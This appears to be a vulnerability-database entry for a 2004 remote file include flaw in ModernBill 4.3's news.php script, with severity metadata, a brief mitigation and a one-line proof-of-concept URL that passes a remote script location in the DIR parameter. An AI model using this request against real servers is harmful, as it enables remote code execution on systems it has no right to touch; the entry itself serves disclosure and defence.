header-logo
Suggest Exploit
vendor:
ModernBill
by:
SecurityFocus
7.5
CVSS
HIGH
Remote File Include
98
CWE
Product Name: ModernBill
Affected Version From: 4.3
Affected Version To: 4.3
Patch Exists: YES
Related CWE: N/A
CPE: a:modernbill:modernbill
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2004

ModernBill Remote File Include Vulnerability

ModernBill is prone to a remote file include vulnerability. The problem presents itself specifically when an attacker passes the location of a remote attacker-specified script through the 'news.php' script.

Mitigation:

Ensure that user-supplied input is properly validated and filtered before being used in web page requests.
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/13086/info

ModernBill is prone to a remote file include vulnerability.

The problem presents itself specifically when an attacker passes the location of a remote attacker-specified script through the 'news.php' script.

ModernBill 4.3 and prior versions are vulnerable to this issue. 

http://www.example.com/samples/news.php?DIR=http://www.example.com/

Navigation

Suggest Exploit

Services By CQR